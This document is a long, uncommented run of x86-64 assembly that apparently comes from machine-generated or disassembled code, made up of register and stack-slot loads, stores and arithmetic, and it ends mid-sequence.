mov rcx, qword [rsp + 0x5d50]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x52c0], rax
mov rax, qword [rsp + 0x5448]
mov rax, qword [rax]
mov qword [rsp + 0x62a0], rax
movzx eax, byte [rsp + 0x4f]
movzx ecx, byte [rsp + 0x75]
sub eax, ecx
mov byte [0x14011304f], al
movsx eax, word [rsp + 0x8c4]
mov rcx, qword [rsp + 0x4eb8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x944], ax
lea rax, [rsp + 0x57]
mov qword [rsp + 0x62a8], rax
movzx eax, word [rsp + 0x864]
mov rcx, qword [rsp + 0x4fa8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5a18]
mov word [rcx], ax
movsx eax, word [rsp + 0xa80]
movsx ecx, word [rsp + 0xac0]
add eax, ecx
mov rcx, qword [rsp + 0x53d0]
mov word [rcx], ax
mov rax, qword [rsp + 0x5da0]
mov eax, dword [rax]
mov dword [rsp + 0x2d74], eax
mov rax, qword [rsp + 0x5340]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5290]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6168]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6218]
mov rax, qword [rax]
mov qword [rsp + 0x62b0], rax
mov rax, qword [rsp + 0x5060]
mov rcx, qword [rsp + 0x4d58]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2be0], eax
mov rax, qword [rsp + 0x62a8]
movsx eax, byte [rax]
movsx ecx, byte [0x140114157]
add eax, ecx
mov rcx, qword [0x140114298]
mov byte [rcx], al
mov rax, qword [rsp + 0x4e30]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x7c]
shl eax, cl
mov rcx, qword [rsp + 0x5cb0]
mov byte [rcx], al
lea rax, [rsp + 0x860]
mov qword [rsp + 0x62b8], rax
movzx eax, byte [rsp + 0xc2]
mov rcx, qword [rsp + 0x5f90]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x4e], al
mov rax, qword [rsp + 0x5fc8]
movzx eax, byte [rax]
mov byte [rsp + 0xe0], al
mov rax, qword [rsp + 0x5158]
mov rcx, qword [rsp + 0x5128]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x5178], rax
mov rax, qword [rsp + 0x5c90]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x5750]
mov qword [rsp + 0x62c0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x62c0]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x2b70], eax
mov rax, qword [rsp + 0x6128]
mov eax, dword [rax]
mov dword [rsp + 0x2d78], eax
mov rax, qword [rsp + 0x58a0]
mov rcx, qword [rsp + 0x50f0]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x5ab0], rax
movzx eax, word [rsp + 0x900]
mov rcx, qword [rsp + 0x6048]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x140113098], ax
movzx eax, byte [rsp + 0x6c]
mov byte [rsp + 0xe1], al
mov rax, qword [rsp + 0x5850]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xa5c]
sub eax, ecx
mov word [rsp + 0x874], ax
mov rax, qword [rsp + 0x5598]
movzx eax, word [rax]
mov word [rsp + 0xac4], ax
movzx eax, word [rsp + 0x870]
mov rcx, qword [rsp + 0x5058]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4e88]
mov word [rcx], ax
mov rax, qword [rsp + 0x6248]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5300]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5010]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6100]
mov eax, dword [rax]
mov dword [rsp + 0x2d7c], eax
mov rax, qword [rsp + 0x5238]
mov rcx, qword [rsp + 0x5410]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6218]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2ae0]
mov dword [rsp + 0x2d80], eax
mov rax, qword [rsp + 0x58e0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xa70]
sub eax, ecx
mov word [0x140114210], ax
mov rax, qword [rsp + 0x61d0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5a68]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5088]
mov word [rcx], ax
movzx eax, byte [rsp + 0x34]
movzx ecx, byte [rsp + 0x54]
sub eax, ecx
mov rcx, qword [rsp + 0x4fe0]
mov byte [rcx], al
mov rax, qword [rsp + 0x5e40]
movzx eax, byte [rax]
mov byte [rsp + 0xe2], al
mov rax, qword [rsp + 0x5fa8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x51]
xor eax, ecx
mov rcx, qword [rsp + 0x5b80]
mov byte [rcx], al
mov rax, qword [rsp + 0x59d8]
mov rax, qword [rax]
mov qword [rsp + 0x62c8], rax
mov eax, dword [rsp + 0x2cec]
mov rcx, qword [rsp + 0x5820]
mov qword [rsp + 0x62d0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x62d0]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x2b28], eax
mov eax, dword [rsp + 0x2b8c]
mov rcx, qword [rsp + 0x4d60]
mov qword [rsp + 0x62d8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x62d8]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x53a0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x56e8]
mov rax, qword [rax]
mov qword [rsp + 0x62e0], rax
mov rax, qword [rsp + 0x5810]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5070]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x5f80]
mov word [rcx], ax
movzx eax, byte [rsp + 0x72]
mov rcx, qword [rsp + 0x5d30]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [0x140113046], al
mov rax, qword [rsp + 0x50a0]
movzx eax, word [rax]
mov word [rsp + 0xac8], ax
mov rax, qword [rsp + 0x50a8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x8e]
add eax, ecx
mov byte [rsp + 0xd8], al
movzx eax, byte [rsp + 0x91]
mov byte [rsp + 0xe3], al
mov rax, qword [rsp + 0x53c0]
mov rcx, qword [rsp + 0x5ff0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4e70]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4fc0]
mov rcx, qword [rsp + 0x59e0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x5fe0], rax
lea rax, [rsp + 0x2bdc]
mov qword [rsp + 0x62e8], rax
mov eax, dword [0x140114150]
mov ecx, dword [rsp + 0x2ba4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4ee8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5e70]
movzx eax, word [rax]
mov word [rsp + 0xacc], ax
lea rax, [rsp + 0xa4]
mov qword [0x140114438], rax
mov rax, qword [rsp + 0x5d60]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5ee0]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x95c], ax
movsx eax, word [0x1401142e0]
mov rcx, qword [rsp + 0x4ec0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x944], ax
movzx eax, byte [rsp + 0x51]
mov byte [rsp + 0xe4], al
mov rax, qword [rsp + 0x5518]
mov rcx, qword [rsp + 0x5eb0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x5078]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2b38]
mov dword [rsp + 0x2d84], eax
mov rax, qword [rsp + 0x53d8]
mov rcx, qword [rsp + 0x61f8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2cac], eax
mov rax, qword [rsp + 0x53c0]
mov rcx, qword [rsp + 0x5a08]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x5030], rax
lea rax, [0x1401141bb]
mov qword [rsp + 0x62f0], rax
movzx eax, byte [rsp + 0xb7]
mov byte [0x140114216], al
mov rax, qword [rsp + 0x6018]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x99]
shl eax, cl
mov byte [rsp + 0x4c], al
lea rax, [rsp + 0x920]
mov qword [rsp + 0x62f8], rax
mov rax, qword [rsp + 0x5620]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x8ac]
sar eax, cl
mov word [rsp + 0x90c], ax
mov rax, qword [rsp + 0x6068]
mov rcx, qword [rsp + 0x55a0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x4d78]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6040]
mov qword [rsp + 0x6300], rax
mov rax, qword [rsp + 0x5750]
mov rcx, qword [rsp + 0x5cd0]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x2c38], eax
lea rax, [rsp + 0x5f38]
mov qword [rsp + 0x6308], rax
mov rax, qword [rsp + 0x5f78]
movsx eax, byte [rax]
mov rcx, qword [0x140114368]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x5b80]
mov byte [rcx], al
mov rax, qword [rsp + 0x58a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xa5c]
sub eax, ecx
mov word [0x140114308], ax
movzx eax, byte [rsp + 0x97]
mov byte [rsp + 0xe5], al
mov rax, qword [rsp + 0x5688]
movzx eax, word [rax]
movzx ecx, word [0x140113050]
sub eax, ecx
mov rcx, qword [rsp + 0x5bb8]
mov word [rcx], ax
movsx eax, word [rsp + 0xa40]
mov rcx, qword [rsp + 0x5f68]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xa78], ax
lea rax, [rsp + 0xa6c]
mov qword [rsp + 0x6310], rax
mov eax, dword [0x140114150]
mov ecx, dword [rsp + 0x2b04]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2cb0], eax
mov rax, qword [rsp + 0x5f70]
mov eax, dword [rax]
mov dword [rsp + 0x2d88], eax
mov rax, qword [rsp + 0x56a8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5858]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4f18], rax
mov rax, qword [rsp + 0x6090]
mov rcx, qword [rsp + 0x5400]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x5710], rax
lea rax, [rsp + 0x47]
mov qword [0x140114440], rax
mov rax, qword [rsp + 0x4e88]
movzx eax, word [rax]
mov word [rsp + 0xad0], ax
movzx eax, byte [rsp + 0x90]
movzx ecx, byte [0x140113016]
sub eax, ecx
mov byte [rsp + 0x4e], al
lea rax, [rsp + 0x4a]
mov qword [rsp + 0x6318], rax
movzx eax, byte [rsp + 0x9b]
movzx ecx, byte [rsp + 0xb0]
add eax, ecx
mov byte [rsp + 0x8f], al
mov rax, qword [rsp + 0x55a0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2cb4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2d48], eax
mov rax, qword [rsp + 0x5d68]
mov rax, qword [rax]
mov qword [rsp + 0x6320], rax
mov eax, dword [rsp + 0x2b88]
movzx ecx, al
mov eax, dword [rsp + 0x2c4c]
shl eax, cl
mov rcx, qword [rsp + 0x5a98]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5d58]
mov rax, qword [rax]
mov qword [rsp + 0x6328], rax
mov rax, qword [0x1401141d0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x978]
sar eax, cl
mov word [0x140113018], ax
movsx eax, byte [rsp + 0xc3]
mov rcx, qword [rsp + 0x5f78]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x5fa8]
mov byte [rcx], al
movzx eax, word [0x140113074]
mov word [rsp + 0xad4], ax
mov rax, qword [rsp + 0x5e40]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4f58]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x5318]
mov byte [rcx], al
mov rax, qword [rsp + 0x4fa8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x9a8]
and eax, ecx
mov word [rsp + 0x998], ax
mov rax, qword [rsp + 0x60d8]
mov qword [rsp + 0x6330], rax
mov rax, qword [rsp + 0x5a48]
mov rcx, qword [rsp + 0x5ab8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x5cd0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4fe8]
mov eax, dword [rax]
mov dword [rsp + 0x2d8c], eax
mov rax, qword [rsp + 0x5808]
mov rcx, qword [rsp + 0x5410]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5c10]
mov qword [rcx], rax
lea rax, [rsp + 0x9ac]
mov qword [0x140114448], rax
mov rax, qword [rsp + 0x50c8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xe4]
sub eax, ecx
mov rcx, qword [rsp + 0x50c8]
mov byte [rcx], al
mov rax, qword [rsp + 0x5468]
movzx eax, byte [rax]
mov byte [rsp + 0xe6], al
mov rax, qword [rsp + 0x6140]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x8dc]
add eax, ecx
mov word [rsp + 0x964], ax
mov rax, qword [rsp + 0x5810]
movzx eax, word [rax]
mov word [rsp + 0xad8], ax
mov rax, qword [rsp + 0x5c20]
mov rcx, qword [rsp + 0x6038]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4fb0], rax
mov rax, qword [rsp + 0x5b90]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2c28]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2c98], eax
mov eax, dword [rsp + 0x2c08]
mov dword [rsp + 0x2d90], eax
mov rax, qword [rsp + 0x5860]
mov rcx, qword [rsp + 0x5d40]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x62c8], rax
mov rax, qword [rsp + 0x5d10]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4fe0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x14011304a], al
movzx eax, word [rsp + 0x89c]
mov word [rsp + 0xadc], ax
mov rax, qword [rsp + 0x5758]
movsx eax, word [rax]
movsx ecx, word [0x140113018]
or eax, ecx
mov word [rsp + 0x858], ax
mov rax, qword [rsp + 0x4f40]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x4b]
shl eax, cl
mov byte [rsp + 0xa4], al
movzx eax, byte [rsp + 0x6b]
mov byte [rsp + 0xe7], al
mov rax, qword [0x140113008]
mov rcx, qword [rsp + 0x5c70]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5a78]
mov qword [rcx], rax
mov rax, qword [rsp + 0x56e8]
mov rax, qword [rax]
mov qword [rsp + 0x6338], rax
mov eax, dword [rsp + 0x2be8]
movzx ecx, al
mov eax, dword [rsp + 0x2c58]
sar eax, cl
mov dword [rsp + 0x2c2c], eax
mov rax, qword [rsp + 0x53a0]
mov eax, dword [rax]
mov dword [rsp + 0x2d94], eax
mov rax, qword [rsp + 0x5740]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x54f0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x140113017], al
mov rax, qword [rsp + 0x6048]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xa84]
and eax, ecx
mov rcx, qword [rsp + 0x5a68]
mov word [rcx], ax
movzx eax, word [rsp + 0x998]
movzx ecx, word [rsp + 0x934]
sub eax, ecx
mov word [rsp + 0x85c], ax
movzx eax, byte [rsp + 0x8b]
mov byte [rsp + 0xe8], al
mov rax, qword [rsp + 0x58e0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xa30]
add eax, ecx
mov word [rsp + 0x8e0], ax
lea rax, [rsp + 0x2d70]
mov qword [rsp + 0x6340], rax
mov eax, dword [rsp + 0x2cd4]
mov ecx, dword [rsp + 0x2b00]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4b40]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5400]
mov rcx, qword [rsp + 0x5800]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x5650], rax
mov rax, qword [0x140114160]
mov qword [rsp + 0x6348], rax
lea rax, [rsp + 0x8c4]
mov qword [0x140114450], rax
mov rax, qword [rsp + 0x5ad8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x8d8]
sub eax, ecx
mov rcx, qword [rsp + 0x5c18]
mov word [rcx], ax
mov rax, qword [rsp + 0x4f30]
movzx eax, byte [rax]
mov byte [rsp + 0xe9], al
mov rax, qword [0x140114168]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5578]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5b70]
mov byte [rcx], al
movsx eax, byte [rsp + 0x6f]
movsx ecx, byte [rsp + 0x84]
add eax, ecx
mov byte [rsp + 0xe4], al
lea rax, [rsp + 0x5320]
mov qword [rsp + 0x6350], rax
mov rax, qword [rsp + 0x5ad0]
mov rcx, qword [rsp + 0x4fd0]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5518]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2d54]
mov dword [rsp + 0x2d98], eax
mov eax, dword [0x140114150]
mov ecx, dword [rsp + 0x2c04]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6080]
mov dword [rcx], eax
movzx eax, byte [rsp + 0xd3]
movzx ecx, byte [rsp + 0x35]
sar eax, cl
mov rcx, qword [0x1401142c8]
mov byte [rcx], al
mov rax, qword [rsp + 0x4b70]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xa58]
shl eax, cl
mov word [rsp + 0x9e8], ax
lea rax, [rsp + 0x938]
mov qword [rsp + 0x6358], rax
mov rax, qword [rsp + 0x61e8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xaa4]
or eax, ecx
mov word [rsp + 0x894], ax
lea rax, [rsp + 0x30]
mov qword [rsp + 0x6360], rax
mov rax, qword [rsp + 0x5cc0]
mov ecx, dword [rsp + 0x2c0c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2c20], eax
lea rax, [rsp + 0x59f8]
mov qword [rsp + 0x6368], rax
mov eax, dword [rsp + 0x2c18]
mov ecx, dword [rsp + 0x2d70]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2be8], eax
mov rax, qword [rsp + 0x56c0]
mov rcx, qword [0x140113008]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4b90]
mov qword [rcx], rax
lea rax, [rsp + 0x914]
mov qword [rsp + 0x6370], rax
lea rax, [rsp + 0x8e4]
mov qword [0x140114458], rax
mov rax, qword [rsp + 0x51d0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4e30]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5788]
mov byte [rcx], al
lea rax, [rsp + 0x6b]
mov qword [rsp + 0x6378], rax
mov rax, qword [rsp + 0x5b48]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5a30]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xacc], ax
mov rax, qword [rsp + 0x54e0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x53b8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x5690], rax
mov eax, dword [rsp + 0x2be4]
mov dword [rsp + 0x2d9c], eax
mov rax, qword [rsp + 0x5778]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2d3c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2bfc], eax
lea rax, [rsp + 0x6348]
mov qword [rsp + 0x6380], rax
mov rax, qword [0x140114368]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5be0]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5e30]
mov byte [rcx], al
mov rax, qword [rsp + 0x54f0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xb6]
add eax, ecx
mov rcx, qword [0x1401141c8]
mov byte [rcx], al
movzx eax, byte [rsp + 0x33]
mov rcx, qword [rsp + 0x5110]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5318]
mov byte [rcx], al
lea rax, [rsp + 0x7b]
mov qword [rsp + 0x6388], rax
mov rax, qword [rsp + 0x5c00]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x8b8]
add eax, ecx
mov rcx, qword [rsp + 0x5f80]
mov word [rcx], ax
lea rax, [rsp + 0x5670]
mov qword [rsp + 0x6390], rax
mov eax, dword [rsp + 0x2c80]
mov ecx, dword [rsp + 0x2d2c]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x2c38], eax
mov rax, qword [rsp + 0x5930]
mov rax, qword [rax]
mov qword [rsp + 0x6398], rax
mov eax, dword [rsp + 0x2a4c]
movzx ecx, al
mov eax, dword [rsp + 0x2d3c]
sar eax, cl
mov dword [rsp + 0x2d38], eax
movsx eax, word [rsp + 0x858]
movsx ecx, word [rsp + 0x9ac]
shl eax, cl
mov word [rsp + 0xa58], ax
lea rax, [rsp + 0x8e]
mov qword [0x140114460], rax
movzx eax, word [rsp + 0x8f8]
mov word [rsp + 0xae0], ax
mov rax, qword [0x140114270]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5510]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x8c0], ax
lea rax, [rsp + 0x8b]
mov qword [rsp + 0x63a0], rax
mov rax, qword [rsp + 0x5a40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2c98]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x2c34], eax
mov rax, qword [rsp + 0x5028]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2bcc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2c20], eax
mov rax, qword [rsp + 0x60c8]
mov rax, qword [rax]
mov qword [rsp + 0x63a8], rax
mov rax, qword [rsp + 0x5fd8]
mov rcx, qword [rsp + 0x53c0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x5580], rax
lea rax, [rsp + 0x53]
mov qword [rsp + 0x63b0], rax
movzx eax, byte [rsp + 0xc2]
mov rcx, qword [rsp + 0x5fe8]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [0x140113052], al
movzx eax, word [rsp + 0xa98]
mov rcx, qword [0x1401142b8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xaa0], ax
movsx eax, word [rsp + 0x8c8]
mov rcx, qword [rsp + 0x5848]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xa20], ax
movzx eax, word [rsp + 0x9c4]
mov word [rsp + 0xae4], ax
movzx eax, byte [rsp + 0xa8]
mov rcx, qword [rsp + 0x5240]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xd7], al
lea rax, [rsp + 0x2c1c]
mov qword [rsp + 0x63b8], rax
mov rax, qword [rsp + 0x5480]
mov rcx, qword [rsp + 0x54a8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x5218], rax
mov rax, qword [rsp + 0x6230]
mov rcx, qword [rsp + 0x54d0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x5128]
mov qword [rcx], rax
lea rax, [rsp + 0x2ae8]
mov qword [rsp + 0x63c0], rax
movsx eax, word [rsp + 0x850]
movsx ecx, word [rsp + 0xa70]
sar eax, cl
mov rcx, qword [0x140114350]
mov word [rcx], ax
mov rax, qword [0x1401142f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xa14]
shl eax, cl
mov rcx, qword [rsp + 0x4de0]
mov word [rcx], ax
lea rax, [rsp + 0x84]
mov qword [rsp + 0x63c8], rax
mov rax, qword [rsp + 0x4f30]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6270]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x62f0]
mov byte [rcx], al
movzx eax, word [rsp + 0x8d0]
mov word [rsp + 0xae8], ax
mov rax, qword [rsp + 0x53c0]
mov rcx, qword [rsp + 0x5e50]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x4da0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5150]
mov ecx, dword [rsp + 0x2c40]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2b18], eax
mov rax, qword [rsp + 0x60d8]
mov qword [rsp + 0x63d0], rax
mov eax, dword [rsp + 0x2be0]
mov ecx, dword [rsp + 0x2a4c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x29f0], eax
lea rax, [rsp + 0x39]
mov qword [0x140114468], rax
lea rax, [rsp + 0x980]
mov qword [rsp + 0x63d8], rax
movsx eax, word [rsp + 0x95c]
movsx ecx, word [rsp + 0x9a0]
sub eax, ecx
mov rcx, qword [rsp + 0x4f80]
mov word [rcx], ax
movzx eax, byte [rsp + 0xb4]
mov rcx, qword [rsp + 0x5878]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xc8], al
mov rax, qword [0x140114320]
movzx eax, byte [rax]
mov byte [rsp + 0xea], al
mov rax, qword [rsp + 0x5af8]
mov rcx, qword [rsp + 0x5390]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x5e60]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4e78]
mov qword [rsp + 0x63e0], rax
mov rax, qword [rsp + 0x61c8]
mov ecx, dword [rsp + 0x2bac]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2b5c], eax
mov rax, qword [rsp + 0x6390]
mov rcx, qword [rsp + 0x5040]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x5bc0], rax
movzx eax, byte [rsp + 0x5f]
movzx ecx, byte [rsp + 0xa9]
add eax, ecx
mov byte [0x140113032], al
lea rax, [0x140114308]
mov qword [rsp + 0x63e8], rax
mov rax, qword [rsp + 0x5c98]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5a28]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x9f8], ax
lea rax, [rsp + 0xab0]
mov qword [rsp + 0x63f0], rax
movsx eax, byte [rsp + 0x6b]
movsx ecx, byte [0x14011303b]
add eax, ecx
mov rcx, qword [rsp + 0x5890]
mov byte [rcx], al
mov rax, qword [rsp + 0x4fc8]
mov qword [rsp + 0x63f8], rax
mov rax, qword [rsp + 0x5f70]
mov rcx, qword [rsp + 0x5a20]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x5f08]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4f38]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x63d0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x4fd0], rax
mov eax, dword [rsp + 0x2ce8]
mov dword [rsp + 0x2da0], eax
movzx eax, byte [rsp + 0x6a]
movzx ecx, byte [rsp + 0x83]
sar eax, cl
mov byte [0x140113013], al
mov rax, qword [rsp + 0x4bc0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x880]
shl eax, cl
mov word [rsp + 0x848], ax
mov rax, qword [rsp + 0x5450]
movzx eax, byte [rax]
mov byte [rsp + 0xeb], al
movsx eax, word [rsp + 0x990]
movsx ecx, word [rsp + 0x84c]
and eax, ecx
mov word [rsp + 0x9e8], ax
movsx eax, word [0x140113068]
movsx ecx, word [rsp + 0x960]
add eax, ecx
mov rcx, qword [rsp + 0x56b0]
mov word [rcx], ax
mov rax, qword [rsp + 0x6090]
mov rax, qword [rax]
mov qword [rsp + 0x6400], rax
mov rax, qword [rsp + 0x5fd8]
mov rcx, qword [rsp + 0x6038]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x5dc8], rax
mov eax, dword [rsp + 0x2b20]
mov dword [rsp + 0x2da4], eax
mov rax, qword [rsp + 0x5358]
mov ecx, dword [rsp + 0x2b4c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2d08], eax
lea rax, [rsp + 0x40]
mov qword [0x140114470], rax
mov rax, qword [0x140114340]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5ac8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x9c], al
mov rax, qword [rsp + 0x5088]
movzx eax, word [rax]
mov word [rsp + 0xaec], ax
mov rax, qword [rsp + 0x4f28]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5e20]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x5ad8]
mov word [rcx], ax
lea rax, [0x1401141bc]
mov qword [rsp + 0x6408], rax
mov rax, qword [rsp + 0x5220]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4cd0]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5328]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5610]
mov rcx, qword [rsp + 0x5310]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x50f0]
mov qword [rcx], rax
lea rax, [rsp + 0x2cb0]
mov qword [rsp + 0x6410], rax
mov rax, qword [rsp + 0x5f58]
mov rcx, qword [rsp + 0x5b38]
